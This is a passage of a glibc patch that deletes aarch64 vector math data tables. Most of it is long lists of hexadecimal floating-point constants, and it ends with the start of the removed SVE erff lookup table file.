+-	     0x1.2a8dcede3673bp-1,
+-	     0x1.26c508f6bd0ffp-1,
+-	     0x1.22ff727dd6f7bp-1,
+-	     0x1.1f3d3cf9ffe5ap-1,
+-	     0x1.1b7e98fe26217p-1,
+-	     0x1.17c3b626c7a11p-1,
+-	     0x1.140cc3173f007p-1,
+-	     0x1.1059ed7740313p-1,
+-	     0x1.0cab61f084b93p-1,
+-	     0x1.09014c2ca74dap-1,
+-	     0x1.055bd6d32e8d7p-1,
+-	     0x1.01bb2b87c6968p-1,
+-	     0x1.fc3ee5d1524b0p-2,
+-	     0x1.f511a91a67d2ap-2,
+-	     0x1.edeeee0959518p-2,
+-	     0x1.e6d6ffaa65a25p-2,
+-	     0x1.dfca26f5bbf88p-2,
+-	     0x1.d8c8aace11e63p-2,
+-	     0x1.d1d2cfff91594p-2,
+-	     0x1.cae8d93f1d7b6p-2,
+-	     0x1.c40b0729ed547p-2,
+-	     0x1.bd3998457afdap-2,
+-	     0x1.b674c8ffc6283p-2,
+-	     0x1.afbcd3afe8ab6p-2,
+-	     0x1.a911f096fbc26p-2,
+-	     0x1.a27455e14c93cp-2,
+-	     0x1.9be437a7de946p-2,
+-	     0x1.9561c7f23a47bp-2,
+-	     0x1.8eed36b886d93p-2,
+-	     0x1.8886b1e5ecfd1p-2,
+-	     0x1.822e655b417e6p-2,
+-	     0x1.7be47af1f5d89p-2,
+-	     0x1.75a91a7f4d2edp-2,
+-	     0x1.6f7c69d7d3ef8p-2,
+-	     0x1.695e8cd31867ep-2,
+-	     0x1.634fa54fa285fp-2,
+-	     0x1.5d4fd33729015p-2,
+-	     0x1.575f3483021c3p-2,
+-	     0x1.517de540ce2a3p-2,
+-	     0x1.4babff975a04cp-2,
+-	     0x1.45e99bcbb7915p-2,
+-	     0x1.4036d0468a7a2p-2,
+-	     0x1.3a93b1998736cp-2,
+-	     0x1.35005285227f1p-2,
+-	     0x1.2f7cc3fe6f423p-2,
+-	     0x1.2a09153529381p-2,
+-	     0x1.24a55399ea239p-2,
+-	     0x1.1f518ae487dc8p-2,
+-	     0x1.1a0dc51a9934dp-2,
+-	     0x1.14da0a961fd14p-2,
+-	     0x1.0fb6620c550afp-2,
+-	     0x1.0aa2d09497f2bp-2,
+-	     0x1.059f59af7a906p-2,
+-	     0x1.00abff4dec7a3p-2,
+-	     0x1.f79183b101c5bp-3,
+-	     0x1.edeb406d9c824p-3,
+-	     0x1.e4652fadcb6b2p-3,
+-	     0x1.daff4969c0b04p-3,
+-	     0x1.d1b982c501370p-3,
+-	     0x1.c893ce1dcbef7p-3,
+-	     0x1.bf8e1b1ca2279p-3,
+-	     0x1.b6a856c3ed54fp-3,
+-	     0x1.ade26b7fbed95p-3,
+-	     0x1.a53c4135a6526p-3,
+-	     0x1.9cb5bd549b111p-3,
+-	     0x1.944ec2e4f5630p-3,
+-	     0x1.8c07329874652p-3,
+-	     0x1.83deeada4d25ap-3,
+-	     0x1.7bd5c7df3fe9cp-3,
+-	     0x1.73eba3b5b07b7p-3,
+-	     0x1.6c205655be71fp-3,
+-	     0x1.6473b5b15a7a1p-3,
+-	     0x1.5ce595c455b0ap-3,
+-	     0x1.5575c8a468361p-3,
+-	     0x1.4e241e912c305p-3,
+-	     0x1.46f066040a832p-3,
+-	     0x1.3fda6bc016994p-3,
+-	     0x1.38e1fae1d6a9dp-3,
+-	     0x1.3206dceef5f87p-3,
+-	     0x1.2b48d9e5dea1cp-3,
+-	     0x1.24a7b84d38971p-3,
+-	     0x1.1e233d434b813p-3,
+-	     0x1.17bb2c8d41535p-3,
+-	     0x1.116f48a6476ccp-3,
+-	     0x1.0b3f52ce8c383p-3,
+-	     0x1.052b0b1a174eap-3,
+-	     0x1.fe6460fef4680p-4,
+-	     0x1.f2a901ccafb37p-4,
+-	     0x1.e723726b824a9p-4,
+-	     0x1.dbd32ac4c99b0p-4,
+-	     0x1.d0b7a0f921e7cp-4,
+-	     0x1.c5d0497c09e74p-4,
+-	     0x1.bb1c972f23e50p-4,
+-	     0x1.b09bfb7d11a83p-4,
+-	     0x1.a64de673e8837p-4,
+-	     0x1.9c31c6df3b1b8p-4,
+-	     0x1.92470a61b6965p-4,
+-	     0x1.888d1d8e510a3p-4,
+-	     0x1.7f036c0107294p-4,
+-	     0x1.75a96077274bap-4,
+-	     0x1.6c7e64e7281cbp-4,
+-	     0x1.6381e2980956bp-4,
+-	     0x1.5ab342383d177p-4,
+-	     0x1.5211ebf41880bp-4,
+-	     0x1.499d478bca735p-4,
+-	     0x1.4154bc68d75c3p-4,
+-	     0x1.3937b1b319259p-4,
+-	     0x1.31458e6542847p-4,
+-	     0x1.297db960e4f63p-4,
+-	     0x1.21df9981f8e53p-4,
+-	     0x1.1a6a95b1e786fp-4,
+-	     0x1.131e14fa1625dp-4,
+-	     0x1.0bf97e95f2a64p-4,
+-	     0x1.04fc3a0481321p-4,
+-	     0x1.fc4b5e32d6259p-5,
+-	     0x1.eeea8c1b1db93p-5,
+-	     0x1.e1d4cf1e2450ap-5,
+-	     0x1.d508f9a1ea64ep-5,
+-	     0x1.c885df3451a07p-5,
+-	     0x1.bc4a54a84e834p-5,
+-	     0x1.b055303221015p-5,
+-	     0x1.a4a549829587ep-5,
+-	     0x1.993979e14fffdp-5,
+-	     0x1.8e109c4622913p-5,
+-	     0x1.83298d717210ep-5,
+-	     0x1.78832c03aa2b1p-5,
+-	     0x1.6e1c5893c380bp-5,
+-	     0x1.63f3f5c4de13bp-5,
+-	     0x1.5a08e85af27e0p-5,
+-	     0x1.505a174e9c929p-5,
+-	     0x1.46e66be002240p-5,
+-	     0x1.3dacd1a8d8ccdp-5,
+-	     0x1.34ac36ad8dafep-5,
+-	     0x1.2be38b6d92415p-5,
+-	     0x1.2351c2f2d1449p-5,
+-	     0x1.1af5d2e04f3f6p-5,
+-	     0x1.12ceb37ff9bc3p-5,
+-	     0x1.0adb5fcfa8c75p-5,
+-	     0x1.031ad58d56279p-5,
+-	     0x1.f7182a851bca2p-6,
+-	     0x1.e85c449e377f2p-6,
+-	     0x1.da0005e5f28dfp-6,
+-	     0x1.cc0180af00a8bp-6,
+-	     0x1.be5ecd2fcb5f9p-6,
+-	     0x1.b1160991ff737p-6,
+-	     0x1.a4255a00b9f03p-6,
+-	     0x1.978ae8b55ce1bp-6,
+-	     0x1.8b44e6031383ep-6,
+-	     0x1.7f5188610ddc8p-6,
+-	     0x1.73af0c737bb45p-6,
+-	     0x1.685bb5134ef13p-6,
+-	     0x1.5d55cb54cd53ap-6,
+-	     0x1.529b9e8cf9a1ep-6,
+-	     0x1.482b8455dc491p-6,
+-	     0x1.3e03d891b37dep-6,
+-	     0x1.3422fd6d12e2bp-6,
+-	     0x1.2a875b5ffab56p-6,
+-	     0x1.212f612dee7fbp-6,
+-	     0x1.181983e5133ddp-6,
+-	     0x1.0f443edc5ce49p-6,
+-	     0x1.06ae13b0d3255p-6,
+-	     0x1.fcab1483ea7fcp-7,
+-	     0x1.ec72615a894c4p-7,
+-	     0x1.dcaf3691fc448p-7,
+-	     0x1.cd5ec93c12431p-7,
+-	     0x1.be7e5ac24963bp-7,
+-	     0x1.b00b38d6b3575p-7,
+-	     0x1.a202bd6372dcep-7,
+-	     0x1.94624e78e0fafp-7,
+-	     0x1.87275e3a6869dp-7,
+-	     0x1.7a4f6aca256cbp-7,
+-	     0x1.6dd7fe3358230p-7,
+-	     0x1.61beae53b72b7p-7,
+-	     0x1.56011cc3b036dp-7,
+-	     0x1.4a9cf6bda3f4cp-7,
+-	     0x1.3f8ff5042a88ep-7,
+-	     0x1.34d7dbc76d7e5p-7,
+-	     0x1.2a727a89a3f14p-7,
+-	     0x1.205dac02bd6b9p-7,
+-	     0x1.1697560347b25p-7,
+-	     0x1.0d1d69569b82dp-7,
+-	     0x1.03ede1a45bfeep-7,
+-	     0x1.f60d8aa2a88f2p-8,
+-	     0x1.e4cc4abf7d065p-8,
+-	     0x1.d4143a9dfe965p-8,
+-	     0x1.c3e1a5f5c077cp-8,
+-	     0x1.b430ecf4a83a8p-8,
+-	     0x1.a4fe83fb9db25p-8,
+-	     0x1.9646f35a76623p-8,
+-	     0x1.8806d70b2fc36p-8,
+-	     0x1.7a3ade6c8b3e4p-8,
+-	     0x1.6cdfcbfc1e263p-8,
+-	     0x1.5ff2750fe7820p-8,
+-	     0x1.536fc18f7ce5cp-8,
+-	     0x1.4754abacdf1dcp-8,
+-	     0x1.3b9e3f9d06e3fp-8,
+-	     0x1.30499b503957fp-8,
+-	     0x1.2553ee2a336bfp-8,
+-	     0x1.1aba78ba3af89p-8,
+-	     0x1.107a8c7323a6ep-8,
+-	     0x1.06918b6355624p-8,
+-	     0x1.f9f9cfd9c3035p-9,
+-	     0x1.e77448fb66bb9p-9,
+-	     0x1.d58da68fd1170p-9,
+-	     0x1.c4412bf4b8f0bp-9,
+-	     0x1.b38a3af2e55b4p-9,
+-	     0x1.a3645330550ffp-9,
+-	     0x1.93cb11a30d765p-9,
+-	     0x1.84ba3004a50d0p-9,
+-	     0x1.762d84469c18fp-9,
+-	     0x1.6821000795a03p-9,
+-	     0x1.5a90b00981d93p-9,
+-	     0x1.4d78bba8ca5fdp-9,
+-	     0x1.40d564548fad7p-9,
+-	     0x1.34a305080681fp-9,
+-	     0x1.28de11c5031ebp-9,
+-	     0x1.1d83170fbf6fbp-9,
+-	     0x1.128eb96be8798p-9,
+-	     0x1.07fdb4dafea5fp-9,
+-	     0x1.fb99b8b8279e1p-10,
+-	     0x1.e7f232d9e2630p-10,
+-	     0x1.d4fed7195d7e8p-10,
+-	     0x1.c2b9cf7f893bfp-10,
+-	     0x1.b11d702b3deb1p-10,
+-	     0x1.a024365f771bdp-10,
+-	     0x1.8fc8c794b03b5p-10,
+-	     0x1.8005f08d6f1efp-10,
+-	     0x1.70d6a46e07ddap-10,
+-	     0x1.6235fbd7a4345p-10,
+-	     0x1.541f340697987p-10,
+-	     0x1.468dadf4080abp-10,
+-	     0x1.397ced7af2b15p-10,
+-	     0x1.2ce898809244ep-10,
+-	     0x1.20cc76202c5fap-10,
+-	     0x1.15246dda49d47p-10,
+-	     0x1.09ec86c75d497p-10,
+-	     0x1.fe41cd9bb4eeep-11,
+-	     0x1.e97ba3b77f306p-11,
+-	     0x1.d57f524723822p-11,
+-	     0x1.c245d4b998479p-11,
+-	     0x1.afc85e0f82e12p-11,
+-	     0x1.9e005769dbc1dp-11,
+-	     0x1.8ce75e9f6f8a0p-11,
+-	     0x1.7c7744d9378f7p-11,
+-	     0x1.6caa0d3582fe9p-11,
+-	     0x1.5d79eb71e893bp-11,
+-	     0x1.4ee1429bf7cc0p-11,
+-	     0x1.40daa3c89f5b6p-11,
+-	     0x1.3360ccd23db3ap-11,
+-	     0x1.266ea71d4f71ap-11,
+-	     0x1.19ff4663ae9dfp-11,
+-	     0x1.0e0de78654d1ep-11,
+-	     0x1.0295ef6591848p-11,
+-	     0x1.ef25d37f49fe1p-12,
+-	     0x1.da01102b5f851p-12,
+-	     0x1.c5b5412dcafadp-12,
+-	     0x1.b23a5a23e4210p-12,
+-	     0x1.9f8893d8fd1c1p-12,
+-	     0x1.8d986a4187285p-12,
+-	     0x1.7c629a822bc9ep-12,
+-	     0x1.6be02102b3520p-12,
+-	     0x1.5c0a378c90bcap-12,
+-	     0x1.4cda5374ea275p-12,
+-	     0x1.3e4a23d1f4702p-12,
+-	     0x1.30538fbb77ecdp-12,
+-	     0x1.22f0b496539bdp-12,
+-	     0x1.161be46ad3b50p-12,
+-	     0x1.09cfa445b00ffp-12,
+-	     0x1.fc0d55470cf51p-13,
+-	     0x1.e577bbcd49935p-13,
+-	     0x1.cfd4a5adec5bfp-13,
+-	     0x1.bb1a9657ce465p-13,
+-	     0x1.a740684026555p-13,
+-	     0x1.943d4a1d1ed39p-13,
+-	     0x1.8208bc334a6a5p-13,
+-	     0x1.709a8db59f25cp-13,
+-	     0x1.5feada379d8b7p-13,
+-	     0x1.4ff207314a102p-13,
+-	     0x1.40a8c1949f75ep-13,
+-	     0x1.3207fb7420eb9p-13,
+-	     0x1.2408e9ba3327fp-13,
+-	     0x1.16a501f0e42cap-13,
+-	     0x1.09d5f819c9e29p-13,
+-	     0x1.fb2b792b40a22p-14,
+-	     0x1.e3bcf436a1a95p-14,
+-	     0x1.cd55277c18d05p-14,
+-	     0x1.b7e94604479dcp-14,
+-	     0x1.a36eec00926ddp-14,
+-	     0x1.8fdc1b2dcf7b9p-14,
+-	     0x1.7d2737527c3f9p-14,
+-	     0x1.6b4702d7d5849p-14,
+-	     0x1.5a329b7d30748p-14,
+-	     0x1.49e17724f4d41p-14,
+-	     0x1.3a4b60ba9aa4dp-14,
+-	     0x1.2b6875310f785p-14,
+-	     0x1.1d312098e9dbap-14,
+-	     0x1.0f9e1b4dd36dfp-14,
+-	     0x1.02a8673a94691p-14,
+-	     0x1.ec929a665b449p-15,
+-	     0x1.d4f4b4c8e09edp-15,
+-	     0x1.be6abbb10a5aap-15,
+-	     0x1.a8e8cc1fadef6p-15,
+-	     0x1.94637d5bacfdbp-15,
+-	     0x1.80cfdc72220cfp-15,
+-	     0x1.6e2367dc27f95p-15,
+-	     0x1.5c540b4936fd2p-15,
+-	     0x1.4b581b8d170fcp-15,
+-	     0x1.3b2652b06c2b2p-15,
+-	     0x1.2bb5cc22e5db6p-15,
+-	     0x1.1cfe010e2052dp-15,
+-	     0x1.0ef6c4c84a0fep-15,
+-	     0x1.01984165a5f36p-15,
+-	     0x1.e9b5e8d00ce76p-16,
+-	     0x1.d16f5716c6c1ap-16,
+-	     0x1.ba4f035d60e02p-16,
+-	     0x1.a447b7b03f045p-16,
+-	     0x1.8f4ccca7fc90dp-16,
+-	     0x1.7b5223dac7336p-16,
+-	     0x1.684c227fcacefp-16,
+-	     0x1.562fac4329b48p-16,
+-	     0x1.44f21e49054f2p-16,
+-	     0x1.34894a5e24657p-16,
+-	     0x1.24eb7254ccf83p-16,
+-	     0x1.160f438c70913p-16,
+-	     0x1.07ebd2a2d2844p-16,
+-	     0x1.f4f12e9ab070ap-17,
+-	     0x1.db5ad0b27805cp-17,
+-	     0x1.c304efa2c6f4ep-17,
+-	     0x1.abe09e9144b5ep-17,
+-	     0x1.95df988e76644p-17,
+-	     0x1.80f439b4ee04bp-17,
+-	     0x1.6d11788a69c64p-17,
+-	     0x1.5a2adfa0b4bc4p-17,
+-	     0x1.4834877429b8fp-17,
+-	     0x1.37231085c7d9ap-17,
+-	     0x1.26eb9daed6f7ep-17,
+-	     0x1.1783ceac28910p-17,
+-	     0x1.08e1badf0fcedp-17,
+-	     0x1.f5f7d88472604p-18,
+-	     0x1.db92b5212fb8dp-18,
+-	     0x1.c282cd3957edap-18,
+-	     0x1.aab7abace48dcp-18,
+-	     0x1.94219bfcb4928p-18,
+-	     0x1.7eb1a2075864dp-18,
+-	     0x1.6a597219a93d9p-18,
+-	     0x1.570b69502f313p-18,
+-	     0x1.44ba864670882p-18,
+-	     0x1.335a62115bce2p-18,
+-	     0x1.22df298214423p-18,
+-	     0x1.133d96ae7e0ddp-18,
+-	     0x1.046aeabcfcdecp-18,
+-	     0x1.ecb9cfe1d8642p-19,
+-	     0x1.d21397ead99cbp-19,
+-	     0x1.b8d094c86d374p-19,
+-	     0x1.a0df0f0c626dcp-19,
+-	     0x1.8a2e269750a39p-19,
+-	     0x1.74adc8f4064d3p-19,
+-	     0x1.604ea819f007cp-19,
+-	     0x1.4d0231928c6f9p-19,
+-	     0x1.3aba85fe22e1fp-19,
+-	     0x1.296a70f414053p-19,
+-	     0x1.1905613b3abf2p-19,
+-	     0x1.097f6156f32c5p-19,
+-	     0x1.f59a20caf6695p-20,
+-	     0x1.d9c73698fb1dcp-20,
+-	     0x1.bf716c6168baep-20,
+-	     0x1.a6852c6b58392p-20,
+-	     0x1.8eefd70594a88p-20,
+-	     0x1.789fb715aae95p-20,
+-	     0x1.6383f726a8e04p-20,
+-	     0x1.4f8c96f26a26ap-20,
+-	     0x1.3caa61607f920p-20,
+-	     0x1.2acee2f5ecdb8p-20,
+-	     0x1.19ec60b1242edp-20,
+-	     0x1.09f5cf4dd2877p-20,
+-	     0x1.f5bd95d8730d8p-21,
+-	     0x1.d9371e2ff7c35p-21,
+-	     0x1.be41de54d155ap-21,
+-	     0x1.a4c89e08ef4f3p-21,
+-	     0x1.8cb738399b12cp-21,
+-	     0x1.75fa8dbc84becp-21,
+-	     0x1.608078a70dcbcp-21,
+-	     0x1.4c37c0394d094p-21,
+-	     0x1.39100d5687bfep-21,
+-	     0x1.26f9df8519bd6p-21,
+-	     0x1.15e6827001f18p-21,
+-	     0x1.05c803e4831c1p-21,
+-	     0x1.ed22548cffd35p-22,
+-	     0x1.d06ad6ecdf971p-22,
+-	     0x1.b551c847fbc96p-22,
+-	     0x1.9bc09f112b494p-22,
+-	     0x1.83a1ff0aa239dp-22,
+-	     0x1.6ce1aa3fd7bddp-22,
+-	     0x1.576c72b514859p-22,
+-	     0x1.43302cc4a0da8p-22,
+-	     0x1.301ba221dc9bbp-22,
+-	     0x1.1e1e857adc568p-22,
+-	     0x1.0d2966b1746f7p-22,
+-	     0x1.fa5b4f49cc6b2p-23,
+-	     0x1.dc3ae30b55c16p-23,
+-	     0x1.bfd7555a3bd68p-23,
+-	     0x1.a517d9e61628ap-23,
+-	     0x1.8be4f8f6c951fp-23,
+-	     0x1.74287ded49339p-23,
+-	     0x1.5dcd669f2cd34p-23,
+-	     0x1.48bfd38302870p-23,
+-	     0x1.34ecf8a3c124ap-23,
+-	     0x1.22430f521cbcfp-23,
+-	     0x1.10b1488aeb235p-23,
+-	     0x1.0027c00a263a6p-23,
+-	     0x1.e12ee004efc37p-24,
+-	     0x1.c3e44ae32b16bp-24,
+-	     0x1.a854ea14102a8p-24,
+-	     0x1.8e6761569f45dp-24,
+-	     0x1.7603bac345f65p-24,
+-	     0x1.5f1353cdad001p-24,
+-	     0x1.4980cb3c80949p-24,
+-	     0x1.3537f00b6ad4dp-24,
+-	     0x1.2225b12bffc68p-24,
+-	     0x1.10380e1adb7e9p-24,
+-	     0x1.febc107d5efaap-25,
+-	     0x1.df0f2a0ee6946p-25,
+-	     0x1.c14b2188bcee4p-25,
+-	     0x1.a553644f7f07dp-25,
+-	     0x1.8b0cfce0579dfp-25,
+-	     0x1.725e7c5dd20f7p-25,
+-	     0x1.5b2fe547a1340p-25,
+-	     0x1.456a974e92e93p-25,
+-	     0x1.30f93c3699078p-25,
+-	     0x1.1dc7b5b978cf8p-25,
+-	     0x1.0bc30c5d52f15p-25,
+-	     0x1.f5b2be65a0c7fp-26,
+-	     0x1.d5f3a8dea7357p-26,
+-	     0x1.b82915b03515bp-26,
+-	     0x1.9c3517e789488p-26,
+-	     0x1.81fb7df06136ep-26,
+-	     0x1.6961b8d641d06p-26,
+-	     0x1.524ec4d916caep-26,
+-	     0x1.3cab1343d18d1p-26,
+-	     0x1.2860757487a01p-26,
+-	     0x1.155a09065d4f7p-26,
+-	     0x1.0384250e4c9fcp-26,
+-	     0x1.e59890b926c78p-27,
+-	     0x1.c642116a8a9e3p-27,
+-	     0x1.a8e405e651ab6p-27,
+-	     0x1.8d5f98114f872p-27,
+-	     0x1.7397c5a66e307p-27,
+-	     0x1.5b71456c5a4c4p-27,
+-	     0x1.44d26de513197p-27,
+-	     0x1.2fa31d6371537p-27,
+-	     0x1.1bcca373b7b43p-27,
+-	     0x1.0939ab853339fp-27,
+-	     0x1.efac5187b2863p-28,
+-	     0x1.cf1e86235d0e6p-28,
+-	     0x1.b0a68a2128babp-28,
+-	     0x1.9423165bc4444p-28,
+-	     0x1.7974e743dea3cp-28,
+-	     0x1.607e9eacd1050p-28,
+-	     0x1.4924a74dec728p-28,
+-	     0x1.334d19e0c2160p-28,
+-	     0x1.1edfa3c5f5ccap-28,
+-	     0x1.0bc56f1b54701p-28,
+-	     0x1.f3d2185e047d9p-29,
+-	     0x1.d26cb87945e87p-29,
+-	     0x1.b334fac4b9f99p-29,
+-	     0x1.96076f7918d1cp-29,
+-	     0x1.7ac2d72fc2c63p-29,
+-	     0x1.614801550319ep-29,
+-	     0x1.4979ac8b28926p-29,
+-	     0x1.333c68e2d0548p-29,
+-	     0x1.1e767bce37dd7p-29,
+-	     0x1.0b0fc5b6d05a0p-29,
+-	     0x1.f1e3523b41d7dp-30,
+-	     0x1.d00de6608effep-30,
+-	     0x1.b0778b7b3301ap-30,
+-	     0x1.92fb04ec0f6cfp-30,
+-	     0x1.77756ec9f78fap-30,
+-	     0x1.5dc61922d5a06p-30,
+-	     0x1.45ce65699ff6dp-30,
+-	     0x1.2f71a5f159970p-30,
+-	     0x1.1a94ff571654fp-30,
+-	     0x1.071f4bbea09ecp-30,
+-	     0x1.e9f1ff8ddd774p-31,
+-	     0x1.c818223a202c7p-31,
+-	     0x1.a887bd2b4404dp-31,
+-	     0x1.8b1a336c5eb6bp-31,
+-	     0x1.6fab63324088ap-31,
+-	     0x1.56197e30205bap-31,
+-	     0x1.3e44e45301b92p-31,
+-	     0x1.281000bfe4c3fp-31,
+-	     0x1.135f28f2d50b4p-31,
+-	     0x1.00187dded5975p-31,
+-	     0x1.dc479de0ef001p-32,
+-	     0x1.bad4fdad3caa1p-32,
+-	     0x1.9baed3ed27ab8p-32,
+-	     0x1.7ead9ce4285bbp-32,
+-	     0x1.63ac6b4edc88ep-32,
+-	     0x1.4a88be2a6390cp-32,
+-	     0x1.332259185f1a0p-32,
+-	     0x1.1d5b1f3793044p-32,
+-	     0x1.0916f04b6e18bp-32,
+-	     0x1.ec77101de6926p-33,
+-	     0x1.c960bf23153e0p-33,
+-	     0x1.a8bd20fc65ef7p-33,
+-	     0x1.8a61745ec7d1dp-33,
+-	     0x1.6e25d0e756261p-33,
+-	     0x1.53e4f7d1666cbp-33,
+-	     0x1.3b7c27a7ddb0ep-33,
+-	     0x1.24caf2c32af14p-33,
+-	     0x1.0fb3186804d0fp-33,
+-	     0x1.f830c0bb41fd7p-34,
+-	     0x1.d3c0f1a91c846p-34,
+-	     0x1.b1e5acf351d87p-34,
+-	     0x1.92712d259ce66p-34,
+-	     0x1.7538c60a04476p-34,
+-	     0x1.5a14b04b47879p-34,
+-	     0x1.40dfd87456f4cp-34,
+-	     0x1.2977b1172b9d5p-34,
+-	     0x1.13bc07e891491p-34,
+-	     0x1.ff1dbb4300811p-35,
+-	     0x1.d9a880f306bd8p-35,
+-	     0x1.b6e45220b55e0p-35,
+-	     0x1.96a0b33f2c4dap-35,
+-	     0x1.78b07e9e924acp-35,
+-	     0x1.5ce9ab1670dd2p-35,
+-	     0x1.4325167006bb0p-35,
+-	     0x1.2b3e53538ff3fp-35,
+-	     0x1.15137a7f44864p-35,
+-	     0x1.0084ff125639dp-35,
+-	     0x1.daeb0b7311ec7p-36,
+-	     0x1.b7937d1c40c52p-36,
+-	     0x1.96d082f59ab06p-36,
+-	     0x1.7872d9fa10aadp-36,
+-	     0x1.5c4e8e37bc7d0p-36,
+-	     0x1.423ac0df49a40p-36,
+-	     0x1.2a117230ad284p-36,
+-	     0x1.13af4f04f9998p-36,
+-	     0x1.fde703724e560p-37,
+-	     0x1.d77f0c82e7641p-37,
+-	     0x1.b3ee02611d7ddp-37,
+-	     0x1.92ff33023d5bdp-37,
+-	     0x1.7481a9e69f53fp-37,
+-	     0x1.5847eda620959p-37,
+-	     0x1.3e27c1fcc74bdp-37,
+-	     0x1.25f9ee0b923dcp-37,
+-	     0x1.0f9a0686531ffp-37,
+-	     0x1.f5cc7718082afp-38,
+-	     0x1.cf7e53d6a2ca5p-38,
+-	     0x1.ac0f5f3229372p-38,
+-	     0x1.8b498644847eap-38,
+-	     0x1.6cfa9bcca59dcp-38,
+-	     0x1.50f411d4fd2cdp-38,
+-	     0x1.370ab8327af5ep-38,
+-	     0x1.1f167f88c6b6ep-38,
+-	     0x1.08f24085d4597p-38,
+-	     0x1.e8f70e181d619p-39,
+-	     0x1.c324c20e337dcp-39,
+-	     0x1.a03261574b54ep-39,
+-	     0x1.7fe903cdf5855p-39,
+-	     0x1.6215c58da3450p-39,
+-	     0x1.46897d4b69fc6p-39,
+-	     0x1.2d1877d731b7bp-39,
+-	     0x1.159a386b11517p-39,
+-	     0x1.ffd27ae9393cep-40,
+-	     0x1.d7c593130dd0bp-40,
+-	     0x1.b2cd607c79bcfp-40,
+-	     0x1.90ae4d3405651p-40,
+-	     0x1.71312dd1759e2p-40,
+-	     0x1.5422ef5d8949dp-40,
+-	     0x1.39544b0ecc957p-40,
+-	     0x1.20997f73e73ddp-40,
+-	     0x1.09ca0eaacd277p-40,
+-	     0x1.e9810295890ecp-41,
+-	     0x1.c2b45b5aa4a1dp-41,
+-	     0x1.9eee068fa7596p-41,
+-	     0x1.7df2b399c10a8p-41,
+-	     0x1.5f8b87a31bd85p-41,
+-	     0x1.4385c96e9a2d9p-41,
+-	     0x1.29b2933ef4cbcp-41,
+-	     0x1.11e68a6378f8ap-41,
+-	     0x1.f7f338086a86bp-42,
+-	     0x1.cf8d7d9ce040ap-42,
+-	     0x1.aa577251ae484p-42,
+-	     0x1.8811d739efb5ep-42,
+-	     0x1.68823e52970bep-42,
+-	     0x1.4b72ae68e8b4cp-42,
+-	     0x1.30b14dbe876bcp-42,
+-	     0x1.181012ef86610p-42,
+-	     0x1.01647ba798744p-42,
+-	     0x1.d90e917701675p-43,
+-	     0x1.b2a87e86d0c8ap-43,
+-	     0x1.8f53dcb377293p-43,
+-	     0x1.6ed2f2515e933p-43,
+-	     0x1.50ecc9ed47f19p-43,
+-	     0x1.356cd5ce7799ep-43,
+-	     0x1.1c229a587ab78p-43,
+-	     0x1.04e15ecc7f3f6p-43,
+-	     0x1.deffc7e6a6017p-44,
+-	     0x1.b7b040832f310p-44,
+-	     0x1.938e021f36d76p-44,
+-	     0x1.7258610b3b233p-44,
+-	     0x1.53d3bfc82a909p-44,
+-	     0x1.37c92babdc2fdp-44,
+-	     0x1.1e06010120f6ap-44,
+-	     0x1.065b9616170d4p-44,
+-	     0x1.e13dd96b3753ap-45,
+-	     0x1.b950d32467392p-45,
+-	     0x1.94a72263259a5p-45,
+-	     0x1.72fd93e036cdcp-45,
+-	     0x1.54164576929abp-45,
+-	     0x1.37b83c521fe96p-45,
+-	     0x1.1daf033182e96p-45,
+-	     0x1.05ca50205d26ap-45,
+-	     0x1.dfbb6235639fap-46,
+-	     0x1.b7807e294781fp-46,
+-	     0x1.9298add70a734p-46,
+-	     0x1.70beaf9c7ffb6p-46,
+-	     0x1.51b2cd6709222p-46,
+-	     0x1.353a6cf7f7fffp-46,
+-	     0x1.1b1fa8cbe84a7p-46,
+-	     0x1.0330f0fd69921p-46,
+-	     0x1.da81670f96f9bp-47,
+-	     0x1.b24a16b4d09aap-47,
+-	     0x1.8d6eeb6efdbd6p-47,
+-	     0x1.6ba91ac734785p-47,
+-	     0x1.4cb7966770ab5p-47,
+-	     0x1.305e9721d0981p-47,
+-	     0x1.1667311fff70ap-47,
+-	     0x1.fd3de10d62855p-48,
+-	     0x1.d1aefbcd48d0cp-48,
+-	     0x1.a9cc93c25aca9p-48,
+-	     0x1.85487ee3ea735p-48,
+-	     0x1.63daf8b4b1e0cp-48,
+-	     0x1.45421e69a6ca1p-48,
+-	     0x1.294175802d99ap-48,
+-	     0x1.0fa17bf41068fp-48,
+-	     0x1.f05e82aae2bb9p-49,
+-	     0x1.c578101b29058p-49,
+-	     0x1.9e39dc5dd2f7cp-49,
+-	     0x1.7a553a728bbf2p-49,
+-	     0x1.5982008db1304p-49,
+-	     0x1.3b7e00422e51bp-49,
+-	     0x1.200c898d9ee3ep-49,
+-	     0x1.06f5f7eb65a56p-49,
+-	     0x1.e00e9148a1d25p-50,
+-	     0x1.b623734024e92p-50,
+-	     0x1.8fd4e01891bf8p-50,
+-	     0x1.6cd44c7470d89p-50,
+-	     0x1.4cd9c04158cd7p-50,
+-	     0x1.2fa34bf5c8344p-50,
+-	     0x1.14f4890ff2461p-50,
+-	     0x1.f92c49dfa4df5p-51,
+-	     0x1.ccaaea71ab0dfp-51,
+-	     0x1.a40829f001197p-51,
+-	     0x1.7eef13b59e96cp-51,
+-	     0x1.5d11e1a252bf5p-51,
+-	     0x1.3e296303b2297p-51,
+-	     0x1.21f47009f43cep-51,
+-	     0x1.083768c5e4541p-51,
+-	     0x1.e1777d831265ep-52,
+-	     0x1.b69f10b0191b5p-52,
+-	     0x1.8f8a3a05b5b52p-52,
+-	     0x1.6be573c40c8e7p-52,
+-	     0x1.4b645ba991fdbp-52,
+-	     0x1.2dc119095729fp-52,
+-  },
+-};
+diff --git a/sysdeps/aarch64/fpu/sv_erff_data.c b/sysdeps/aarch64/fpu/sv_erff_data.c
+deleted file mode 100644
+index 6dcd72af69..0000000000
+--- a/sysdeps/aarch64/fpu/sv_erff_data.c
++++ /dev/null
+@@ -1,1058 +0,0 @@
+-/* Table for SVE erff approximation
+-
+-   Copyright (C) 2024 Free Software Foundation, Inc.
+-   This file is part of the GNU C Library.
+-
+-   The GNU C Library is free software; you can redistribute it and/or
+-   modify it under the terms of the GNU Lesser General Public
+-   License as published by the Free Software Foundation; either
+-   version 2.1 of the License, or (at your option) any later version.
+-
+-   The GNU C Library is distributed in the hope that it will be useful,
+-   but WITHOUT ANY WARRANTY; without even the implied warranty of
+-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+-   Lesser General Public License for more details.
+-
+-   You should have received a copy of the GNU Lesser General Public
+-   License along with the GNU C Library; if not, see
+-   <https://www.gnu.org/licenses/>.  */
+-
+-#include "vecmath_config.h"
+-
+-/* Lookup table used in SVE erff.
+-   For each possible rounded input r (multiples of 1/128), between
+-   r = 0.0 and r = 4.0 (513 values):
